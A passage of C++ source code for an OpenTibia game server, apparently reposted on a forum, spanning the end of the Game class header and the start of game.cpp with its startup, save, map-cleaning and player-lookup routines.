fromStackpos, const Position& toPos, uint8_t count); bool playerMove(uint32_t playerId, Direction dir); bool playerCreatePrivateChannel(uint32_t playerId); bool playerChannelInvite(uint32_t playerId, const std::string& name); bool playerChannelExclude(uint32_t playerId, const std::string& name); bool playerRequestChannels(uint32_t playerId); bool playerOpenChannel(uint32_t playerId, uint16_t channelId); bool playerCloseChannel(uint32_t playerId, uint16_t channelId); bool playerOpenPrivateChannel(uint32_t playerId, std::string& receiver); bool playerCloseNpcChannel(uint32_t playerId); bool playerProcessRuleViolation(uint32_t playerId, const std::string& name); bool playerCloseRuleViolation(uint32_t playerId, const std::string& name); bool playerCancelRuleViolation(uint32_t playerId); bool playerReceivePing(uint32_t playerId); bool playerAutoWalk(uint32_t playerId, std::list<Direction>& listDir); bool playerStopAutoWalk(uint32_t playerId); bool playerUseItemEx(uint32_t playerId, const Position& fromPos, int16_t fromStackpos, uint16_t fromSpriteId, const Position& toPos, int16_t toStackpos, uint16_t toSpriteId, bool isHotkey); bool playerUseItem(uint32_t playerId, const Position& pos, int16_t stackpos, uint8_t index, uint16_t spriteId, bool isHotkey); bool playerUseBattleWindow(uint32_t playerId, const Position& fromPos, int16_t fromStackpos, uint32_t creatureId, uint16_t spriteId, bool isHotkey); bool playerCloseContainer(uint32_t playerId, uint8_t cid); bool playerMoveUpContainer(uint32_t playerId, uint8_t cid); bool playerUpdateContainer(uint32_t playerId, uint8_t cid); bool playerUpdateTile(uint32_t playerId, const Position& pos); bool playerRotateItem(uint32_t playerId, const Position& pos, int16_t stackpos, const uint16_t spriteId); bool playerWriteItem(uint32_t playerId, uint32_t windowTextId, const std::string& text); bool playerUpdateHouseWindow(uint32_t playerId, uint8_t listId, uint32_t windowTextId, const std::string& text); bool playerRequestTrade(uint32_t playerId, const Position& pos, int16_t stackpos, uint32_t tradePlayerId, uint16_t spriteId); bool playerAcceptTrade(uint32_t playerId); bool playerLookInTrade(uint32_t playerId, bool lookAtCounterOffer, int index); bool playerPurchaseItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount, bool ignoreCap = false, bool inBackpacks = false); bool playerSellItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount); bool playerCloseShop(uint32_t playerId); bool playerLookInShop(uint32_t playerId, uint16_t spriteId, uint8_t count); bool playerCloseTrade(uint32_t playerId); bool playerSetAttackedCreature(uint32_t playerId, uint32_t creatureId); bool playerFollowCreature(uint32_t playerId, uint32_t creatureId); bool playerCancelAttackAndFollow(uint32_t playerId); bool playerSetFightModes(uint32_t playerId, fightMode_t fightMode, chaseMode_t chaseMode, secureMode_t secureMode); bool playerLookAt(uint32_t playerId, const Position& pos, uint16_t spriteId, int16_t stackpos); bool playerQuests(uint32_t playerId); bool playerQuestInfo(uint32_t playerId, uint16_t questId); bool playerRequestAddVip(uint32_t playerId, const std::string& name); bool playerRequestRemoveVip(uint32_t playerId, uint32_t guid); bool playerTurn(uint32_t playerId, Direction dir); bool playerRequestOutfit(uint32_t playerId); bool playerSay(uint32_t playerId, uint16_t channelId, SpeakClasses type, const std::string& receiver, const std::string& text); bool playerChangeOutfit(uint32_t playerId, Outfit_t outfit); bool playerInviteToParty(uint32_t playerId, uint32_t invitedId); bool playerJoinParty(uint32_t playerId, uint32_t leaderId); bool playerRevokePartyInvitation(uint32_t playerId, uint32_t invitedId); bool playerPassPartyLeadership(uint32_t playerId, uint32_t newLeaderId); bool playerLeaveParty(uint32_t playerId); bool playerSharePartyExperience(uint32_t playerId, bool activate, uint8_t unknown); void kickPlayer(uint32_t playerId, bool displayEffect); bool broadcastMessage(const std::string& text, MessageClasses type); void showHotkeyUseMessage(Player* player, Item* item); int32_t getMotdId(); void loadMotd(); void loadPlayersRecord(); void checkPlayersRecord(Player* player); bool reloadInfo(ReloadInfo_t reload, uint32_t playerId = 0); void cleanup(); void shutdown(); void freeThing(Thing* thing); bool canThrowObjectTo(const Position& fromPos, const Position& toPos, bool checkLineOfSight = true, int32_t rangex = Map::maxClientViewportX, int32_t rangey = Map::maxClientViewportY); bool isSightClear(const Position& fromPos, const Position& toPos, bool sameFloor); bool getPathTo(const Creature* creature, const Position& destPos, std::list<Direction>& listDir, int32_t maxSearchDist /*= -1*/); bool getPathToEx(const Creature* creature, const Position& targetPos, std::list<Direction>& dirList, const FindPathParams& fpp); bool getPathToEx(const Creature* creature, const Position& targetPos, std::list<Direction>& dirList, uint32_t minTargetDist, uint32_t maxTargetDist, bool fullPathSearch = true, bool clearSight = true, int32_t maxSearchDist = -1); Position getClosestFreeTile(Creature* creature, Position pos, bool extended = false, bool ignoreHouse = true); std::string getSearchString(const Position fromPos, const Position toPos, bool fromIsCreature = false, bool toIsCreature = false); void changeLight(const Creature* creature); void changeSpeed(Creature* creature, int32_t varSpeedDelta); void internalCreatureChangeOutfit(Creature* creature, const Outfit_t& oufit, bool forced = false); void internalCreatureChangeVisible(Creature* creature, Visible_t visible); void updateCreatureSkull(Creature* creature); void sendPublicSquare(Player* sender, SquareColor_t color); GameState_t getGameState() const {return gameState;} void setGameState(GameState_t newState); void saveGameState(bool shallow); void loadGameState(); void cleanMap(uint32_t& count); void refreshMap(RefreshTiles::iterator* it = NULL, uint32_t limit = 0); void proceduralRefresh(RefreshTiles::iterator* it = NULL); void addTrash(Position pos) {trash.push_back(pos);} void addRefreshTile(Tile* tile, RefreshBlock_t rb) {refreshTiles[tile] = rb;} //Events void checkCreatureWalk(uint32_t creatureId); void updateCreatureWalk(uint32_t creatureId); void checkCreatureAttack(uint32_t creatureId); void checkCreatures(); void checkLight(); bool combatBlockHit(CombatType_t combatType, Creature* attacker, Creature* target, int32_t& healthChange, bool checkDefense, bool checkArmor); bool combatChangeHealth(CombatType_t combatType, Creature* attacker, Creature* target, int32_t healthChange, MagicEffect_t hitEffect = MAGIC_EFFECT_UNKNOWN, TextColor_t hitColor = TEXTCOLOR_UNKNOWN, bool force = false); bool combatChangeMana(Creature* attacker, Creature* target, int32_t manaChange); //animation help functions void addCreatureHealth(const Creature* target); void addCreatureHealth(const SpectatorVec& list, const Creature* target); void addAnimatedText(const Position& pos, uint8_t textColor, const std::string& text); void addAnimatedText(const SpectatorVec& list, const Position& pos, uint8_t textColor, const std::string& text); void addMagicEffect(const Position& pos, uint8_t effect, bool ghostMode = false); void addMagicEffect(const SpectatorVec& list, const Position& pos, uint8_t effect, bool ghostMode = false); void addDistanceEffect(const SpectatorVec& list, const Position& fromPos, const Position& toPos, uint8_t effect); void addDistanceEffect(const Position& fromPos, const Position& toPos, uint8_t effect); const RuleViolationsMap& getRuleViolations() const {return ruleViolations;} bool cancelRuleViolation(Player* player); bool closeRuleViolation(Player* player); std::vector<std::string> blacklist; bool fetchBlacklist(); bool loadExperienceStages(); double getExperienceStage(uint32_t level, double divider = 1.); inline StageList::const_iterator getFirstStage() const {return stages.begin();} inline StageList::const_iterator getLastStage() const {return stages.end();} size_t getStagesCount() const {return stages.size();} void setGlobalSaveMessage(int16_t key, bool value) {globalSaveMessage[key] = value;} bool getGlobalSaveMessage(int16_t key) const {return globalSaveMessage[key];} Map* getMap() {return map;} const Map* getMap() const {return map;} int32_t getLightHour() {return lightHour;} void startDecay(Item* item); void parsePlayerExtendedOpcode(uint32_t playerId, uint8_t opcode, const std::string& buffer); protected: bool playerWhisper(Player* player, const std::string& text); bool playerYell(Player* player, const std::string& text); bool playerSpeakTo(Player* player, SpeakClasses type, const std::string& receiver, const std::string& text); bool playerTalkToChannel(Player* player, SpeakClasses type, const std::string& text, uint16_t channelId); bool playerSpeakToNpc(Player* player, const std::string& text); bool playerReportRuleViolation(Player* player, const std::string& text); bool playerContinueReport(Player* player, const std::string& text); struct GameEvent { int64_t tick; int32_t type; void* data; }; std::vector<Thing*> releaseThings; std::map<Item*, uint32_t> tradeItems; AutoList<Creature> autoList; RuleViolationsMap ruleViolations; size_t checkCreatureLastIndex; std::vector<Creature*> checkCreatureVectors[EVENT_CREATURECOUNT]; std::vector<Creature*> toAddCheckCreatureVector; void checkDecay(); void internalDecayItem(Item* item); typedef std::list<Item*> DecayList; DecayList decayItems[EVENT_DECAYBUCKETS]; DecayList toDecayItems; size_t lastBucket; static const int32_t LIGHT_LEVEL_DAY = 250; static const int32_t LIGHT_LEVEL_NIGHT = 40; static const int32_t SUNSET = 1305; static const int32_t SUNRISE = 430; int32_t lightLevel, lightHour, lightHourDelta; LightState_t lightState; GameState_t gameState; WorldType_t worldType; ServiceManager* services; Map* map; std::string lastMotd; int32_t lastMotdId; uint32_t playersRecord; uint32_t checkLightEvent, checkCreatureEvent, checkDecayEvent, saveEvent; bool globalSaveMessage[2]; RefreshTiles refreshTiles; Trash trash; StageList stages; uint32_t lastStageLevel; Highscore highscoreStorage[9]; time_t lastHighscoreCheck; }; #endif game.cpp Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #include "otpch.h" #include "game.h" #include "configmanager.h" #ifdef __LOGIN_SERVER__ #include "gameservers.h" #endif #include "server.h" #include "chat.h" #include "luascript.h" #include "creature.h" #include "combat.h" #include "tile.h" #include "database.h" #include "iologindata.h" #include "ioban.h" #include "ioguild.h" #include "items.h" #include "container.h" #include "monsters.h" #include "house.h" #include "quests.h" #include "actions.h" #include "globalevent.h" #include "movement.h" #include "raids.h" #include "scriptmanager.h" #include "spells.h" #include "talkaction.h" #include "weapons.h" #include "vocation.h" #include "group.h" #include "textlogger.h" #ifdef __EXCEPTION_TRACER__ #include "exception.h" #endif extern ConfigManager g_config; extern Actions* g_actions; extern Monsters g_monsters; extern Npcs g_npcs; extern Chat g_chat; extern TalkActions* g_talkActions; extern Spells* g_spells; extern MoveEvents* g_moveEvents; extern Weapons* g_weapons; extern CreatureEvents* g_creatureEvents; extern GlobalEvents* g_globalEvents; Game::Game() { gameState = GAME_STATE_NORMAL; worldType = WORLD_TYPE_PVP; map = NULL; playersRecord = lastStageLevel = 0; for(int32_t i = 0; i < 3; i++) globalSaveMessage = false; //(1440 minutes/day) * 10 seconds event interval / (3600 seconds/day) lightHourDelta = 1440 * 10 / 3600; lightHour = SUNRISE + (SUNSET - SUNRISE) / 2; lightLevel = LIGHT_LEVEL_DAY; lightState = LIGHT_STATE_DAY; lastBucket = checkCreatureLastIndex = checkLightEvent = checkCreatureEvent = checkDecayEvent = saveEvent = 0; } Game::~Game() { blacklist.clear(); if(map) delete map; } void Game::start(ServiceManager* servicer) { checkDecayEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_DECAYINTERVAL, boost::bind(&Game::checkDecay, this))); checkCreatureEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_CREATURE_THINK_INTERVAL, boost::bind(&Game::checkCreatures, this))); checkLightEvent = Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_LIGHTINTERVAL, boost::bind(&Game::checkLight, this))); services = servicer; if(g_config.getBool(ConfigManager::GLOBALSAVE_ENABLED) && g_config.getNumber(ConfigManager::GLOBALSAVE_H) >= 1 && g_config.getNumber(ConfigManager::GLOBALSAVE_H) <= 24) { int32_t prepareGlobalSaveHour = g_config.getNumber(ConfigManager::GLOBALSAVE_H) - 1, hoursLeft = 0, minutesLeft = 0, minutesToRemove = 0; bool ignoreEvent = false; time_t timeNow = time(NULL); const tm* theTime = localtime(&timeNow); if(theTime->tm_hour > prepareGlobalSaveHour) { hoursLeft = 24 - (theTime->tm_hour - prepareGlobalSaveHour); if(theTime->tm_min > 55 && theTime->tm_min <= 59) minutesToRemove = theTime->tm_min - 55; else minutesLeft = 55 - theTime->tm_min; } else if(theTime->tm_hour == prepareGlobalSaveHour) { if(theTime->tm_min >= 55 && theTime->tm_min <= 59) { if(theTime->tm_min >= 57) setGlobalSaveMessage(0, true); if(theTime->tm_min == 59) setGlobalSaveMessage(1, true); prepareGlobalSave(); ignoreEvent = true; } else minutesLeft = 55 - theTime->tm_min; } else { hoursLeft = prepareGlobalSaveHour - theTime->tm_hour; if(theTime->tm_min > 55 && theTime->tm_min <= 59) minutesToRemove = theTime->tm_min - 55; else minutesLeft = 55 - theTime->tm_min; } uint32_t hoursLeftInMs = 60000 * 60 * hoursLeft, minutesLeftInMs = 60000 * (minutesLeft - minutesToRemove); if(!ignoreEvent && (hoursLeftInMs + minutesLeftInMs) > 0) saveEvent = Scheduler::getInstance().addEvent(createSchedulerTask(hoursLeftInMs + minutesLeftInMs, boost::bind(&Game::prepareGlobalSave, this))); } } void Game::loadGameState() { ScriptEnviroment::loadGameState(); loadMotd(); loadPlayersRecord(); checkHighscores(); } void Game::setGameState(GameState_t newState) { if(gameState == GAME_STATE_SHUTDOWN) return; //this cannot be stopped if(gameState != newState) { gameState = newState; switch(newState) { case GAME_STATE_INIT: { Spawns::getInstance()->startup(); Raids::getInstance()->loadFromXml(); Raids::getInstance()->startup(); Quests::getInstance()->loadFromXml(); loadGameState(); g_globalEvents->startup(); IOBan::getInstance()->clearTemporials(); if(g_config.getBool(ConfigManager::REMOVE_PREMIUM_ON_INIT)) IOLoginData::getInstance()->updatePremiumDays(); break; } case GAME_STATE_SHUTDOWN: { g_globalEvents->execute(GLOBAL_EVENT_SHUTDOWN); AutoList<Player>::iterator it = Player::autoList.begin(); while(it != Player::autoList.end()) //kick all players that are still online { it->second->kickPlayer(true, true); it = Player::autoList.begin(); } Houses::getInstance()->payHouses(); saveGameState(false); Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::shutdown, this))); Scheduler::getInstance().stop(); Dispatcher::getInstance().stop(); break; } case GAME_STATE_CLOSED: { AutoList<Player>::iterator it = Player::autoList.begin(); while(it != Player::autoList.end()) //kick all players who not allowed to stay { if(!it->second->hasFlag(PlayerFlag_CanAlwaysLogin)) { it->second->kickPlayer(true, true); it = Player::autoList.begin(); } else ++it; } saveGameState(false); break; } case GAME_STATE_NORMAL: case GAME_STATE_MAINTAIN: case GAME_STATE_STARTUP: case GAME_STATE_CLOSING: default: break; } } } void Game::saveGameState(bool shallow) { std::cout << "> Saving server..." << std::endl; uint64_t start = OTSYS_TIME(); if(gameState == GAME_STATE_NORMAL) setGameState(GAME_STATE_MAINTAIN); IOLoginData* io = IOLoginData::getInstance(); for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) { it->second->loginPosition = it->second->getPosition(); io->savePlayer(it->second, false, shallow); } std::string storage = "relational"; if(g_config.getBool(ConfigManager::HOUSE_STORAGE)) storage = "binary"; map->saveMap(); ScriptEnviroment::saveGameState(); if(gameState == GAME_STATE_MAINTAIN) setGameState(GAME_STATE_NORMAL); std::cout << "> SAVE: Complete in " << (OTSYS_TIME() - start) / (1000.) << " seconds using " << storage << " house storage." << std::endl; } int32_t Game::loadMap(std::string filename) { if(!map) map = new Map; return map->loadMap(getFilePath(FILE_TYPE_OTHER, std::string("world/" + filename + ".otbm"))); } void Game::cleanMap(uint32_t& count) { uint64_t start = OTSYS_TIME(); uint32_t tiles = 0; count = 0; int32_t marked = -1; if(gameState == GAME_STATE_NORMAL) setGameState(GAME_STATE_MAINTAIN); Tile* tile = NULL; ItemVector::iterator tit; if(g_config.getBool(ConfigManager::STORE_TRASH)) { marked = trash.size(); Trash::iterator it = trash.begin(); if(g_config.getBool(ConfigManager::CLEAN_PROTECTED_ZONES)) { for(; it != trash.end(); ++it) { if(!(tile = getTile(*it))) continue; tile->resetFlag(TILESTATE_TRASHED); if(tile->hasFlag(TILESTATE_HOUSE) || !tile->getItemList()) continue; ++tiles; tit = tile->getItemList()->begin(); while(tile->getItemList() && tit != tile->getItemList()->end()) { if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap() && !(*tit)->isScriptProtected()) { internalRemoveItem(NULL, *tit); if(tile->getItemList()) tit = tile->getItemList()->begin(); ++count; } else ++tit; } } trash.clear(); } else { for(; it != trash.end(); ++it) { if(!(tile = getTile(*it))) continue; tile->resetFlag(TILESTATE_TRASHED); if(tile->hasFlag(TILESTATE_PROTECTIONZONE) || !tile->getItemList()) continue; ++tiles; tit = tile->getItemList()->begin(); while(tile->getItemList() && tit != tile->getItemList()->end()) { if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap() && !(*tit)->isScriptProtected()) { internalRemoveItem(NULL, *tit); if(tile->getItemList()) tit = tile->getItemList()->begin(); ++count; } else ++tit; } } trash.clear(); } } else if(g_config.getBool(ConfigManager::CLEAN_PROTECTED_ZONES)) { for(uint16_t z = 0; z < (uint16_t)MAP_MAX_LAYERS; z++) { for(uint16_t y = 1; y <= map->mapHeight; y++) { for(uint16_t x = 1; x <= map->mapWidth; x++) { if(!(tile = getTile(x, y, z)) || tile->hasFlag(TILESTATE_HOUSE) || !tile->getItemList()) continue; ++tiles; tit = tile->getItemList()->begin(); while(tile->getItemList() && tit != tile->getItemList()->end()) { if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap() && !(*tit)->isScriptProtected()) { internalRemoveItem(NULL, *tit); if(tile->getItemList()) tit = tile->getItemList()->begin(); ++count; } else ++tit; } } } } } else { for(uint16_t z = 0; z < (uint16_t)MAP_MAX_LAYERS; z++) { for(uint16_t y = 1; y <= map->mapHeight; y++) { for(uint16_t x = 1; x <= map->mapWidth; x++) { if(!(tile = getTile(x, y, z)) || tile->hasFlag(TILESTATE_PROTECTIONZONE) || !tile->getItemList()) continue; ++tiles; tit = tile->getItemList()->begin(); while(tile->getItemList() && tit != tile->getItemList()->end()) { if((*tit)->isMoveable() && !(*tit)->isLoadedFromMap() && !(*tit)->isScriptProtected()) { internalRemoveItem(NULL, *tit); if(tile->getItemList()) tit = tile->getItemList()->begin(); ++count; } else ++tit; } } } } } if(gameState == GAME_STATE_MAINTAIN) setGameState(GAME_STATE_NORMAL); std::cout << "> CLEAN: Removed " << count << " item" << (count != 1 ? "s" : "") << " from " << tiles << " tile" << (tiles != 1 ? "s" : ""); if(marked >= 0) std::cout << " (" << marked << " were marked)"; std::cout << " in " << (OTSYS_TIME() - start) / (1000.) << " seconds." << std::endl; } void Game::proceduralRefresh(RefreshTiles::iterator* it/* = NULL*/) { if(!it) it = new RefreshTiles::iterator(refreshTiles.begin()); // Refresh 250 tiles each cycle refreshMap(it, 250); if((*it) != refreshTiles.end()) { delete it; return; } // Refresh some items every 100 ms until all tiles has been checked // For 100k tiles, this would take 100000/2500 = 40s = half a minute Scheduler::getInstance().addEvent(createSchedulerTask(100, boost::bind(&Game::proceduralRefresh, this, it))); } void Game::refreshMap(RefreshTiles::iterator* it/* = NULL*/, uint32_t limit/* = 0*/) { RefreshTiles::iterator end = refreshTiles.end(); if(!it) { RefreshTiles::iterator begin = refreshTiles.begin(); it = &begin; } Tile* tile = NULL; TileItemVector* items = NULL; Item* item = NULL; for(uint32_t cleaned = 0, downItemsSize = 0; (*it) != end && (limit ? (cleaned < limit) : true); ++(*it), ++cleaned) { if(!(tile = (*it)->first)) continue; if((items = tile->getItemList())) { downItemsSize = tile->getDownItemCount(); for(uint32_t i = downItemsSize - 1; i >= 0; --i) { if((item = items->at(i))) { #ifndef __DEBUG__ internalRemoveItem(NULL, item); #else if(internalRemoveItem(NULL, item) != RET_NOERROR) { std::cout << "> WARNING: Could not refresh item: " << item->getID(); std::cout << " at position: " << tile->getPosition() << std::endl; } #endif } } } cleanup(); TileItemVector list = (*it)->second.list; for(ItemVector::reverse_iterator it = list.rbegin(); it != list.rend(); ++it) { Item* item = (*it)->clone(); if(internalAddItem(NULL, tile, item , INDEX_WHEREEVER, FLAG_NOLIMIT) == RET_NOERROR) { if(item->getUniqueId() != 0) ScriptEnviroment::addUniqueThing(item); startDecay(item); } else { std::cout << "> WARNING: Could not refresh item: " << item->getID() << " at position: " << tile->getPosition() << std::endl; delete item; } } } } Cylinder* Game::internalGetCylinder(Player* player, const Position& pos) { if(pos.x != 0xFFFF) return getTile(pos); //container if(pos.y & 0x40) { uint8_t fromCid = pos.y & 0x0F; return player->getContainer(fromCid); } return player; } Thing* Game::internalGetThing(Player* player, const Position& pos, int32_t index, uint32_t spriteId/* = 0*/, stackposType_t type/* = STACKPOS_NORMAL*/) { if(pos.x != 0xFFFF) { Tile* tile = getTile(pos); if(!tile) return NULL; if(type == STACKPOS_LOOK) return tile->getTopVisibleThing(player); Thing* thing = NULL; switch(type) { case STACKPOS_MOVE: { Item* item = tile->getTopDownItem(); if(item && item->isMoveable()) thing = item; else thing = tile->getTopVisibleCreature(player); break; } case STACKPOS_USE: { thing = tile->getTopDownItem(); break; } case STACKPOS_USEITEM: { Item* downItem = tile->getTopDownItem(); Item* item = tile->getItemByTopOrder(2); if(item && g_actions->hasAction(item)) { const ItemType& it = Item::items[item->getID()]; if(!downItem || (!it.hasHeight && !it.allowPickupable)) thing = item; } if(!thing) thing = downItem; if(!thing) thing = tile->getTopTopItem(); if(!thing) thing = tile->ground; break; } default: thing = tile->__getThing(index); break; } if(player && thing && thing->getItem()) { if(tile->hasProperty(ISVERTICAL)) { if(player->getPosition().x + 1 == tile->getPosition().x) thing = NULL; } else if(tile->hasProperty(ISHORIZONTAL) && player->getPosition().y + 1 == tile->getPosition().y) thing = NULL; } return thing; } else if(pos.y & 0x40) { uint8_t fromCid = pos.y & 0x0F, slot = pos.z; if(Container* parentcontainer = player->getContainer(fromCid)) return parentcontainer->getItem(slot); } else if(!pos.y && !pos.z) { const ItemType& it = Item::items.getItemIdByClientId(spriteId); if(!it.id) return NULL; int32_t subType = -1; if(it.isFluidContainer() && index < int32_t(sizeof(reverseFluidMap) / sizeof(int8_t))) subType = reverseFluidMap[index]; return findItemOfType(player, it.id, true, subType); } return player->getInventoryItem((slots_t)static_cast<uint8_t>(pos.y)); } void Game::internalGetPosition(Item* item, Position& pos, int16_t& stackpos) { pos.x = pos.y = pos.z = stackpos = 0; if(Cylinder* topParent = item->getTopParent()) { if(Player* player = dynamic_cast<Player*>(topParent)) { pos.x = 0xFFFF; Container* container = dynamic_cast<Container*>(item->getParent()); if(container) { pos.y = ((uint16_t) ((uint16_t)0x40) | ((uint16_t)player->getContainerID(container)) ); pos.z = container->__getIndexOfThing(item); stackpos = pos.z; } else { pos.y = player->__getIndexOfThing(item); stackpos = pos.y; } } else if(Tile* tile = topParent->getTile()) { pos = tile->getPosition(); stackpos = tile->__getIndexOfThing(item); } } } Creature* Game::getCreatureByID(uint32_t id) { if(!id) return NULL; AutoList<Creature>::iterator it = autoList.find(id); if(it != autoList.end() && !it->second->isRemoved()) return it->second; return NULL; //just in case the player doesnt exist } Player* Game::getPlayerByID(uint32_t id) { if(!id) return NULL; AutoList<Player>::iterator it = Player::autoList.find(id); if(it != Player::autoList.end() && !it->second->isRemoved()) return it->second; return NULL; //just in case the player doesnt exist } Creature* Game::getCreatureByName(std::string s) { if(s.empty()) return NULL; toLowerCaseString(s); for(AutoList<Creature>::iterator it = autoList.begin(); it != autoList.end(); ++it) { if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s) return it->second; } return NULL; //just in case the creature doesnt exist } Player* Game::getPlayerByName(std::string s) { if(s.empty()) return NULL; toLowerCaseString(s); for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) { if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s) return it->second; } return NULL; } Player* Game::getPlayerByNameEx(const std::string& s) { Player* player = getPlayerByName(s); if(player) return player; std::string name = s; if(!IOLoginData::getInstance()->playerExists(name)) return NULL; player = new Player(name, NULL); if(IOLoginData::getInstance()->loadPlayer(player, name)) return player; #ifdef __DEBUG__ std::cout << "[Failure - Game::getPlayerByNameEx] Cannot load player: " << name << std::endl; #endif delete player; return NULL; } Player* Game::getPlayerByGuid(uint32_t guid) { if(!guid) return NULL; for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) { if(!it->second->isRemoved() && it->second->getGUID() == guid) return it->second; } return NULL; } Player* Game::getPlayerByGuidEx(uint32_t guid) { Player* player = getPlayerByGuid(guid); if(player) return player; std::string name; if(!IOLoginData::getInstance()->getNameByGuid(guid, name)) return NULL; player = new Player(name, NULL); if(IOLoginData::getInstance()->loadPlayer(player, name)) return player; #ifdef __DEBUG__ std::cout << "[Failure - Game::getPlayerByGuidEx] Cannot load player: " << name << std::endl; #endif delete player; return NULL; } ReturnValue Game::getPlayerByNameWildcard(std::string s, Player*& player) { player = NULL; if(s.empty()) return RET_PLAYERWITHTHISNAMEISNOTONLINE; char tmp = *s.rbegin(); if(tmp != '~' && tmp != '*') { player = getPlayerByName(s); if(!player) return RET_PLAYERWITHTHISNAMEISNOTONLINE; return RET_NOERROR; } Player* last = NULL; s = s.substr(0, s.length() - 1); toLowerCaseString(s); for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) { if(it->second->isRemoved()) continue; std::string name = asLowerCaseString(it->second->getName()); if(name.substr(0, s.length()) != s) continue; if(last) return RET_NAMEISTOOAMBIGUOUS; last = it->second; } if(!last) return RET_PLAYERWITHTHISNAMEISNOTONLINE; player = last; return RET_NOERROR; } Player* Game::getPlayerByAccount(uint32_t acc) { for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) { if(!it->second->isRemoved() && it->second->getAccount() == acc) return it->second; } return NULL; } PlayerVector Game::getPlayersByName(std::string s) { toLowerCaseString(s); PlayerVector players; for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) { if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s) players.push_back(it->second); } return players; } PlayerVector Game::getPlayersByAccount(uint32_t acc) { PlayerVector players; for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) { if(!it->second->isRemoved() && it->second->getAccount() == acc) players.push_back(it->second); } return players; } PlayerVector Game::getPlayersByIP(uint32_t ip, uint32_t mask) { PlayerVector players; for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) { if(!it->second->isRemoved() && (it->second->getIP() & mask) == (ip & mask)) players.push_back(it->second); } return players; } bool Game::internalPlaceCreature(Creature* creature, const Position& pos, bool extendedPos /*= false*/, bool forced /*= false*/) { if(creature->getParent()) return false; if(!map->placeCreature(pos, creature, extendedPos, forced)) return false; creature->addRef(); creature->setID(); autoList[creature->getID()] = creature; creature->addList(); return true; } bool Game::placeCreature(Creature* creature, const Position& pos, bool extendedPos /*= false*/, bool forced /*= false*/) { Player* tmpPlayer = NULL; if((tmpPlayer = creature->getPlayer()) && !tmpPlayer->storedConditionList.empty()) { for(ConditionList::iterator it = tmpPlayer->storedConditionList.begin(); it != tmpPlayer->storedConditionList.end(); ++it) { if((*it)->getType() == CONDITION_MUTED && ((*it)->getTicks() - ( (time(NULL) - tmpPlayer->getLastLogout()) * 1000)) <= 0) continue; tmpPlayer->addCondition(*it); } tmpPlayer->storedConditionList.clear(); } if(!internalPlaceCreature(creature, pos, extendedPos, forced)) return false; SpectatorVec::iterator it; SpectatorVec list; getSpectators(list, creature->getPosition(), false, true); for(it = list.begin(); it != list.end(); ++it) { if((tmpPlayer = (*it)->getPlayer())) tmpPlayer->sendCreatureAppear(creature); } for(it = list.begin(); it != list.end(); ++it) (*it)->onCreatureAppear(creature); creature->setLastPosition(pos); creature->getParent()->postAddNotification(NULL, creature, NULL, creature->getParent()->__getIndexOfThing(creature)); addCreatureCheck(creature); creature->onPlacedCreature(); return true; } ReturnValue Game::placeSummon(Creature* creature, const std::string& name) { Monster* monster = Monster::createMonster(name); if(!monster) return RET_NOTPOSSIBLE; // Place the monster creature->addSummon(monster); if(placeCreature(monster, creature->getPosition(), true)) return RET_NOERROR; creature->removeSummon(monster); return RET_NOTENOUGHROOM; } bool Game::removeCreature(Creature* creature, bool isLogout /*= true*/) { if(creature->isRemoved()) return false; Tile* tile = creature->getTile(); SpectatorVec list; SpectatorVec::iterator it; getSpectators(list, tile->getPosition(), false, true); Player* player = NULL; std::vector<uint32_t> oldStackPosVector; for(it = list.begin(); it != list.end(); ++it) { if((player = (*it)->getPlayer()) && player->canSeeCreature(creature)) oldStackPosVector.push_back(tile->getClientIndexOfThing(player, creature)); } int32_t oldIndex = tile->__getIndexOfThing(creature); if(!map->removeCreature(creature)) return false; //send to client uint32_t i = 0; for(it = list.begin(); it != list.end(); ++it) { if(!(player = (*it)->getPlayer()) || !player->canSeeCreature(creature)) continue; player->sendCreatureDisappear(creature, oldStackPosVector); ++i; } //event method for(it = list.begin(); it != list.end(); ++it) (*it)->onCreatureDisappear(creature, isLogout); creature->getParent()->postRemoveNotification(NULL, creature, NULL, oldIndex, true); creature->onRemovedCreature(); autoList.erase(creature->getID()); freeThing(creature); removeCreatureCheck(creature); for(std::list<Creature*>::iterator it = creature->summons.begin(); it != creature->summons.end(); ++it) removeCreature(*it); return true; } bool Game::playerMoveThing(uint32_t playerId, const Position& fromPos, uint16_t spriteId, int16_t fromStackpos, const Position& toPos, uint8_t count) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; uint8_t fromIndex = 0; if(fromPos.x == 0xFFFF) { if(fromPos.y & 0x40) fromIndex = static_cast<uint8_t>(fromPos.z); else fromIndex = static_cast<uint8_t>(fromPos.y); } else fromIndex = fromStackpos; Thing* thing = internalGetThing(player, fromPos, fromIndex, spriteId, STACKPOS_MOVE); Cylinder* toCylinder = internalGetCylinder(player, toPos); 